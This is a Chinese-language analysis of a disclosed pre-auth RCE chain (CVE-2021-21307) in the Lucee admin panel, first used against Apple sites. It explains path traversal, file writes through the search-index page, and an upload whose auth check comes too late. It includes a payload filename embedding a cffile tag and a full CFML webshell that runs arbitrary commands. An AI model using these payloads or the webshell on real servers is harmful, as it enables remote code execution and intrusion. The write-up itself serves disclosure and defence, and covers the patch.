【漏洞分析】httpvoid在2020年hacking Apple时挖到的几个Lucee的Pre-Auth RCE漏洞
背景
作者在Apple的三个域名上发现使用了lucee,且其管理模块可以访问。这三个站点域名如下:
- https://facilities.apple.com/ (Recent version)
- https://booktravel.apple.com/ (Older version)
- https://booktravel-uat.apple.com/ (Older version)
复现环境
使用lucee的官方docker镜像,版本:5.3.7.43
代码:https://github.com/lucee/Lucee.git ,切到 5.3.7.43 这个tag
漏洞1
core/src/main/cfml/context/admin/imgProcess.cfm代码如下:
<cfoutput>
<cffile action="write" file="#expandPath('{temp-directory}/admin-ext-thumbnails/')#\__#url.file#" Output="#form.imgSrc#" createPath="true">
</cfoutput>
imgProcess.cfm 存在路径遍历漏洞,可写入webshell.
由于Linux在路径遍历时,如果路径中某个目录不存在,则会报错,提示找不到。而这里的 __ 目录默认是不存在的。不过好在 #expandPath 在遇到目录不存在时,会自动创建,因此这里得先发一个请求,file参数传入 /test.txt ,让 __ 目录先创建出来:


再进行webshell写入(如果不熟悉CFML的语法的话,提需求让GPT帮写一个就行了):


或者将webshell写到lucee的web目录下:


注:不过由于Apple的WAF会把url中的路径遍历字符都block掉,所以他们无法利用该漏洞攻击Apple。
漏洞2
该漏洞的关键,在于理解 core/src/main/cfml/context/admin/admin.search.index.cfm 的代码逻辑,简单来说,它会将指定目录里的某些文件,经过一系列处理后写入到另一个指定目录,但是这中间的处理逻辑比较复杂,不理解里面的逻辑,是不知道如何作漏洞利用的。由于没法调试cfml代码,所以笔者在分析的时候只能边看代码边作注释,免得看了后面忘了前面。
这里就不贴代码了,写一下admin.search.index.cfm 与漏洞利用有关的逻辑:
(1) admin.search.index.cfm接收两个参数,分别是dest目录dataDir和 和src目录luceeArchiveZipPath;
(2) 如果 #dataDir#指定的目录不存在,则创建;
(3) 遍历 {lucee-web}/context/admin/resources/language/') 目录下的 xml文件,这里总共两个,分别是en.xml和de.xml,解析xml文件,获取xml文档对象. xml文件部分内容如下:

(4) 遍历 #luceeArchiveZipPath# 目录下的 *.*.cfm 文件,如果 *.*.cfm 文件 的内容匹配 [''"##]stText\..+?[''"##] 这条正则表达式,则将把匹配的部分提取出来,然后作一些字符串方面的处理,比如:*.*.cfm文件的内容为:#stText.x.y#,则处理后变成 x.y 。如果 x.y 的 是 en.xml 中某个<data>的key值,则会得到 {"x.y":{"*.*":1}} 这样的内容写入到 #dataDir#/searchindex.cfm 文件中,其中的 *.* 即 前面提到的 *.*.cfm 文件去掉 .cfm后缀后的文件名。
如果这里的*.* 可以被用户控制,则是有机会写入webshell实现RCE的。
这里可以用到漏洞1中的imgProcess.cfm,通过imgProcess.cfm 写入一个内容可匹配正则表达式 [''"##]stText\..+?[''"##] 的文件,然后文件名包含符合*.*.cfm 的格式。
具体漏洞利用如下:
(1) 通过 imgProcess.cfm 在 {temp-directory}/admin-ext-thumbnails/__/ 目录下创建文件,文件名为:
server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm,满足 *.*.cfm 的格式;
文件内容为:#stText.buttons.save#,满足前面提到的正则,同时经过代码中字符串的处理后的buttons.save是en.xml中的data key。

(2) 通过 admin.search.index.cfm ,成功在#dataDir# 目录下创建并写入了 searchindex.cfm。


(3) 访问 searchindex.cfm,通过入参 f、content 成功在同目录下写入了cfm webshell。
可能你会奇怪,这个 searchindex.cfm文件的内容不是一个json格式的字符串吗,cfml标签是在json字符串里的,这种情况下,cfml标签也可以被服务端识别吗?答案是可以的。
cfml webshell如下:
<cfif isDefined("form.command") AND len(trim(form.command))>
<cfset command = form.command>
<cfset output = "" />
<cftry>
<cfexecute name="#command#"
variable="output"
timeout="10">
</cfexecute>
<pre><cfoutput>#HTMLEditFormat(output)#</cfoutput></pre>
<cfcatch type="Any">
<cfoutput>#HTMLEditFormat(cfcatch.message)#</cfoutput>
</cfcatch>
</cftry>
<cfelse>
<cfoutput>
<form method="POST">
<label for="command">Input:</label>
<input type="text" id="command" name="command" required>
<button type="submit">Execution</button>
</form>
</cfoutput>
</cfif>


由于该利用过程中,url、query params不会出现路径遍历相关字符,所以不会触发Apple的WAF的拦截,于是作者利用该漏洞实现了 https://facilities.apple.com/ 的RCE。
漏洞3
由于另外两个站点部署的是lucee较旧的版本,在lucee较旧的版本中 imgProcess.cfm 不可用,所以需要再另找漏洞:找一个也能写入文件的 cfm 文件。
作者发现 ext.applications.upload.cfm 可以上传lex文件,lex其实就是一个zip压缩包。虽然代码中存在 request.adminTypoe 判断管理员权限,但在权限校验之前,文件已经上传到服务器上了,即这个校验是个摆设。
于是可以将漏洞2中通过imgProcess.cfm的创建并写入的server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm 文件,打包到zip文件,并将后缀改为 .lex,通过ext.applications.upload.cfm上传到服务器。然后通过 admin.search.index.cfm 中的 luceeArchiveZipPath ,使用zip://协议指定lex压缩包的路径。(没错,cfml很多文件相关的标签都是支持zip协议、file协议的,可能jar协议也是支持的,这个没试)
漏洞利用如下:
(1) 构造lex文件,并通过 ext.applications.upload.cfm 上传:



(2) 通过 admin.search.index.cfm ,成功在#dataDir# 目录下创建并写入了 searchindex.cfm。


(3) 通过生成的 searchindex.cfm 写入cfm webshell


通过该漏洞,成功在Apple的另外两个站点实现了RCE。
lucee将作者发现的这几个管理面板的漏洞,统一申请了 CVE-2021-21307。
补丁
lucee 针对该问题的修复方案是:未登录情况下只能访问管理面的 admin.cfm、web.cfm、server.cfm。
commit链接:https://github.com/lucee/Lucee/commit/6208ab7c44c61d26c79e0b0af10382899f57e1ca
或者按照lucee官方文档的最佳实践,拒绝对管理面的访问:
https://docs.lucee.org/guides/deploying-lucee-server-apps/lockdown-guide.html
启发
(1) cfml 文件比jsp强大,且非常易理解。但是缺点也蛮像的,不好去写一些复杂的安全校验逻辑,安全性比较依赖于标签的实现(个人看法),容易导致安全漏洞的产生;
(2) cfml标签可以被嵌入到 json字符串中,只要文件是后缀是.cfm,服务端依旧可以识别 ;
(3) cfml中很多文件IO相关的标签,支持 zip://协议指定zip压缩包文件;
(4) 针对基于cfml的web应用,要重点关注文件写入的逻辑,如果有任意文件写漏洞的话,大概率可以RCE。
(5) cfml 代码没法用IDEA调试,可以结合lucee的文档和 ChatGPT辅助阅读,提高效率。
(6) 按照官方的修复方式,如果拿到了管理员权限,其实相关cfm还是可以访问到的,即管理面 Post-RCE。对于hacking Apple来说估计也很难,可能是在WAF或者什么方式,阻断了相关url的访问。
Reference
https://httpvoid.com/Apple-RCE.md
https://github.com/lucee/Lucee/security/advisories/GHSA-2xvv-723c-8p7r
浙公网安备 33010602011771号